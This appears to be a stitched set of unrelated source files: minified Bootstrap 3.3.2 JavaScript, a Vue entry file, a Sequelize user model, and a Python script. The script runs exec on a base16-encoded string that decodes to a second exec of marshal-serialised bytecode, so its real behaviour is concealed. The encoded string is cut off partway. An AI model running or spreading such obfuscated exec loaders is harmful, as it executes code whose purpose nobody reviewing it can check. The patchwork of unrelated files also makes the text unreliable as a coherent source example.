f=a.Event("shown.bs.modal",{relatedTarget:b});e?d.$element.find(".modal-dialog").one("bsTransitionEnd",function(){d.$element.trigger("focus").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger("focus").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").attr("aria-hidden",!0).off("click.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger("focus")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},c.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass("modal-open"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger("hidden.bs.modal")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a('<div class="modal-backdrop '+e+'" />').prependTo(this.$element).on("click.dismiss.bs.modal",a.proxy(function(a){a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.options.backdrop&&this.adjustBackdrop(),this.adjustDialog()},c.prototype.adjustBackdrop=function(){this.$backdrop.css("height",0).css("height",this.$element[0].scrollHeight)},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){this.bodyIsOverflowing=document.body.scrollHeight>document.documentElement.clientHeight,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right","")},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b;(e||"destroy"!=b)&&(e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init("tooltip",a,b)};c.VERSION="3.3.2",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(this.options.viewport.selector||this.options.viewport);for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c&&c.$tip&&c.$tip.is(":visible")?void(c.hoverState="in"):(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.options.container?a(this.options.container):this.$element.parent(),p=this.getPosition(o);h="bottom"==h&&k.bottom+m>p.bottom?"top":"top"==h&&k.top-m<p.top?"bottom":"right"==h&&k.right+l>p.width?"left":"left"==h&&k.left-l<p.left?"right":h,f.removeClass(n).addClass(h)}var q=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(q,h);var r=function(){var a=e.hoverState;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",r).emulateTransitionEnd(c.TRANSITION_DURATION):r()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top=b.top+g,b.left=b.left+h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;"top"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?"offsetWidth":"offsetHeight";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?"left":"top",50*(1-a/b)+"%").css(c?"top":"left","")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},c.prototype.hide=function(b){function d(){"in"!=e.hoverState&&f.detach(),e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),b&&b()}var e=this,f=this.tip(),g=a.Event("hide.bs."+this.type);return this.$element.trigger(g),g.isDefaultPrevented()?void 0:(f.removeClass("in"),a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this)},c.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d="BODY"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=d?{top:0,left:0}:b.offset(),g={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},h=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,g,h,f)},c.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.width&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type)})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;(e||"destroy"!=b)&&(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.2",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},c.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){var e=a.proxy(this.process,this);this.$body=a("body"),this.$scrollElement=a(a(c).is("body")?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",e),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.2",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b="offset",c=0;a.isWindow(this.$scrollElement[0])||(b="position",c=this.$scrollElement.scrollTop()),this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight();var d=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[b]().top+c,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){d.offsets.push(this[0]),d.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.2",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()
}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.2",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=a("body").height();"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);
|
import Vue from 'vue'
import BootstrapVue from "bootstrap-vue";
import 'bootstrap/dist/css/bootstrap.min.css';
import 'bootstrap-vue/dist/bootstrap-vue.min.css';
import App from './pages/human_practice/human_practice';
Vue.use(BootstrapVue);
Vue.prototype.$isDev = true;
Vue.config.productionTip = false;
new Vue({
render: h => h(App),
}).$mount('#app')
|
const Sequelize = require("sequelize");
const conn = require("../database/database");
const adminAuth = require("../middlewares/adminAuth");
const User = conn.define('user', {
name: {
type: Sequelize.STRING,
allowNull: false
},
username: {
type: Sequelize.STRING,
allowNull: false
},
email: {
type: Sequelize.STRING,
allowNull: false
},
password: {
type: Sequelize.STRING,
allowNull: false
}
})
User.sync({force:false});
module.exports = User;
|
import base64
exec(base64.b16decode('2320436F6D70696C6564204279203A2042696E79616D696E0A2320476974487562203A2068747470733A2F2F6769746875622E636F6D2F42696E79616D696E2D62696E6E690A2320596F7554756265204368616E6E656C203A20547269636B2050726F6F660A696D706F7274206D61727368616C0A65786563286D61727368616C2E6C6F6164732827635C7830305C7830305C7830305C7830305C7830305C7830305C7830305C7830305C7830335C7830305C7830305C783030405C7830305C7830305C78303073215C7830305C7830305C783030645C7830305C783030645C7830315C7830306C5C7830305C7830305A5C7830305C783030655C7830305C7830306A5C7830315C783030645C7830325C7830305C7838335C7830315C783030645C7830315C7830305C78303455645C7830315C78303053285C7830335C7830305C7830305C783030695C7866665C7866665C7866665C7866664E73415C7830375C7830305C783030785C7839635C786264577B6F5C786462385C7831325C7866665C7864625C7866615C7831342C5C783137585C7863395C783137595C7862365C7831635C7862377152685C783137695C7839615C7862365C7862396D5C7865625C5C5C7839335C786132585C7861345C783831565C7830665C7864615C786536455C7831327524555C786462595C786563775C786266215C7866355C786230645C275C7863645C786465615C7862315C7830346C495C7866335C786536705C78653647525C7866325C7863645C7838395C783831605C78643034675C5C22266C5C7862315C7831315C7862365C786134295C7862315C786533405C7831325C7866645C7863325C7838332C665C7861395C7862645C7830635C786334325C7861315C7861315C7863645C7838392D5C7839375C7839635C783034315C7863645C7831365C7866365C7862665C7830355C7863625C7865635C7838325C275C7838615C7831313176475C7838397A5B5C7831305C7839395C783037425C786438295C7838395C78393641465C7865665C7863315C7830365C7866394F415C7838345C783134765C7862385C7861365C7839395C786636385C7865372C45695C783931485C783961735C7831365C783131215C7863305C7839635C783933335C7839365C7864345C7862315C5C6B5C275C783937405C7864395C7863615C786437665C7831635C7862325C783865482E295C786362442D7E5C7863365C7862325C783863445C783861745C786365395C7865332D5C783166755C7831305C7862355C7865342B5C786365565C783832705C7861335C7862345C7838312E34552B5C7839355C786239605C7863325C78383124485C7839325A664E5C786633315C7861325C7839395C783930415C783932345C7863655C7863645C786665775C7863355C7831615C7837664F5C7863385C7861394C54222A5C7863645C783865485C7830385C7863392D775F69235C7839372C5C783162235C7865375C7864335C7866395C7865395C7865625C7830665C7865374E5C7831615C7838335C7839365C786331495C7863325C7838325C7864385C7830325C7861315C7862655C7830315C7837665C7838652032265C7866335C7830305C786632495C7862325C7838385C7861395C7862355C7862315C786363425C7863655C786137205C783162725C7865346D5C786133725C7861615C7865395B5C7838615C7861315C7864347C5C7861305C7863375C745C786631395C7830625C7839395C7831345C7864365C783962205C7831315C7861346F6C5C7830335C78633051425C7830325C7838655C7866625C7863365C7830666A5C7861305C7866375C7862335C786237335C7861345F5C7838645C7838342D5C783938675C7839615C786136315C786164465C78313820345C7251355C786532297C5C7863315C786366505C7837666A5C7839385C7838615C7866375C7865625C786434565C7865665C7866365C7866345C7831325C7865645C7862304B5C7864326F4A285C7839655C783961685C7863625C7866365C7864355C7831384C2F355C725C783063685C7862392D7B5C7861305C786337345C7862342B5C786166755C7830345C7831645C7865335C7864616C5C7865395C7861325C7838615C7861305C7863335C7830655C7831345C7861335C7866325A5C783861565C78656372285C7864375C78623557655C786130625C7831625C7838335C786666795C7831385C7830363A2D5C7865345C783932705C786230735C7838325E5C7864316C5C7831335C7861345C786161235C786465525C7866395C7861655C783038357129652E4E5C7838365C7863335C7830355C7839355C7863622274225C7839365C7830655C7863334A6E5C7830302F5C783139355C7864305C7861665C7861635C7862382E425C7861325C7861345C786166395C7838645C7865655C78643025676C6E5C786130575C7862302422675C78623265452A7E5C7861655C7864384E58715C7839355C7863395C7866662B765C7866345C786334505C786235605C783963315C7863655C7861315C7831313F435C78386465414A5C7861305C786636705C7831643E5C7861655C7839395C7839375C7838305C7830652B5C786336635C7863645C5C536C402D5C7862315C7831635C7862654C5C7863395C783062625C7831615C786162254D5C7830385C7862324A624D5C7865645C7839375C7865645C783939735C783961495C7861346A4F5C7837665C7831365B3F3C585C786639345C7863625C7830626961743D5C7839625C786264475C7839665C7861665C7863653F7D3C5C786664707E5C783832705C78643956745C7838655C7861635C7861645C7838325C78383776625C7861643C5C7866345C7866326D787B362F4F5C7861665C7861655C7862655C7863633E5C7862646E6C5C786436765C7862374A5C7838645C7864647A5C7839615C7839355C7864647A5C783934335C7863305C7865383D5B2C485C7830635C7838305C783830445C783131295C7830385C7839635C783137495C786232415C7838315C7830305C78646541335C7862315C7838655C7865613E525C7864345C7861334E5C7865305C5C5C7866355C7861665C7864395C7862305C7830387C3D5C7865635C7866645C783062675C7864395C783032352B5C7866315C783063775C7861345A5C7830305C7862345C7838655C7831375C7830335C7839365C7839335C7865635C7861395C7839325C7831615C783865475C7865335C78643170345C7831656664355C7862385C7861335C7862305C27645C7838625C7830315C786430535C7863305C78313731605C7866335C783831243C2D5C7864365C783833395C7865335C786365525C7861365C7838395C7864395C7837665C786334635C783833385C7866625C7831335C7865385C7830365C7864665C786434582B5C7866385C786266375C786630475C783832565C7863335C7830303C5C7838365C7866355C7862615C786233605C7866357B5C7839325C7863325C7831622C5C7863665C7838645C7865395C7861383E5C7862314D5C7863375C7861395C7831655C783065326F5C7838645C7831655C783938464C555C7838325C7831365C7830345C7838355C7839655C7839655C7861395C7838355C7862665C7866325C7839625C7838335B55295C7831305C7831335C7862615C7863385C7831303E607D5C7866625C786135467C5C7831395C786233423A5C7866335C7861345C7831304B5C7861625C7866665C7862325B5C7831395C786461795C7831345A5C7866645C7864642D5C7861645C745C7862335C7830635C7861665C7831365C7864385C7861662B5C7863644F5C7839345C7864665C7865665C7831385C7864315C7861615C7866355C783139425C7837665C7862303B22615C7839652A5C7865645C7831365C7838365C786439395C786438465C7862385C7839645C7839365C7839365C7839355C7866645C7839645C7861645E5C78663372675C7862367E215C7831625C7862642F5C7864625C783137335C7866646C5C786635515C7863625C7830634F5C7864315C7838305C7863665C783931765C7866365C786137565C7861362C224B415C7863385C7831655C7831315C7864665C786238555C7862615C7864315C7831375C7863305F745C7839655C783036345C7831397E2C5C7864325C783130205C7831625C7865615C786131695C7839387D7B5C786638665C786463513D5C7864353D5C7838645C78616521255C7864395C7862655C7866345C7866335C7864313F5C7866305C786130455C7864365C7861395C7866365C786133255C7861335C7831315C786231765C7861615C7861385C7863622B5C7839335C783130465C7863622E3C7D5C7863645C783030793C5C7865665C275C7864345C7830323B2D5C786534615C7862635C786462405C7831305C7865625C7862335B5C7866345C7830364A5D5C7864355C5C545C786132555C7862325C7864395C725C7863375C7861615B706B6A5C7838635C7831665C5C5C7838333F5C7839355C786532795C783130796D3C5C783835544A5C786432495C7831337A47385C786539205C7865625C7831636A5C7864635C786562565C7864336A5C7838375C7865645C786163385C7839355C7863345C7830325C7865623B5C78663428615C7861325C7839645C7863625C7865365C7866345C78393833212D5C7862335C78643967795C7839302F5C783164505C27215C7839636035205C78613464385C7865375C783934405C7866625C7866665C7839635C783132285C7864325C786438532A3F5C783136345C7831365C7839653B5C783832315C7831653D3F5C7831655C7862395C7831335C786637685C786632635C7861305C7865335C786637555C786535675C783965795C7864305C745C7865337B605C7862345A5C7861645C7839635C725C7838345C745C7866625C7862385C7866365C7861395C786365675C783139495C7838365C7839665C7863662E5C786365465C7865655C7866625C7863645C7863355C786563395C7830335C786138725C7866665C7863355E5C7862635C7861315C7839335C7830665C7861625C783837515C7865375C7866315C7831656A2D5C7839615C7864625A345C7862645C7862305C7861655C7864355C7863355C7864656D5C7839355C7862395C7831615C7861655C783134725C783030685C7861395C7863655C7865655C78663564582E5C7838305C7861395C7861375C7865385C7863385C786235346D64725C7838385C7861375C7864377B2A5C7839325C786465775A5C786239575C7862395C786539755C7838615C786135463E735C7831625C783964465C7863305C7864395C7864625C7838625C7838665C7865385C7863625C7863355C7866353B5C7866345C7865365C7866345C7865635C7866635C7864356C5C7866365C7838625C7861325C7839625C7861385C7864315C7838305C275C7865645C7865655C7864385C786136525C786263783D5C7864343D5C78306347225C783164715C78626552425C7864355C725C7863355C7861395C7839655C786135685C7862335C783137565C7861325C7831615C7862635C786531295C7865385C783032365C786436205C7861375C7866655C7831645C786439785C7864335C786539385C7839384E5C783865475C7838372F5C78646338385C7839655C7831655C7838645C7863365C7865315C7866635C786638285C7831385C7838645C786464385C7838655C786463495C783163715C7831325C7839334C525C7864385C7838377D5C7862395C7863395C783839575C7831665C7830635C7838385C6E5C7830332A5C7838345C7863365C783037265C7865307D5C783161485C7865665C783966575C7862335C7838665C7830625C7839325C7831315C783065772D3F5C725C786132255C7863645C7838384F635C7863666D5C783838425C7864645C7838635C783138345C7862665C7862655C5C415C786635252C5C6E5C7831325C7865325C7839315C7863635C7866667C555C786435665C7830305C7830374A475C7861665E5C7865645C6E5C7862635C7863303C5C7830664C4E645C786331335F5C7838385C7863345C786537445C7862305C783832435C7861397A5C7861336F5C7839655C7865625C7838635E5C7838635C7865375C7864335C7838385C7831635C7863665C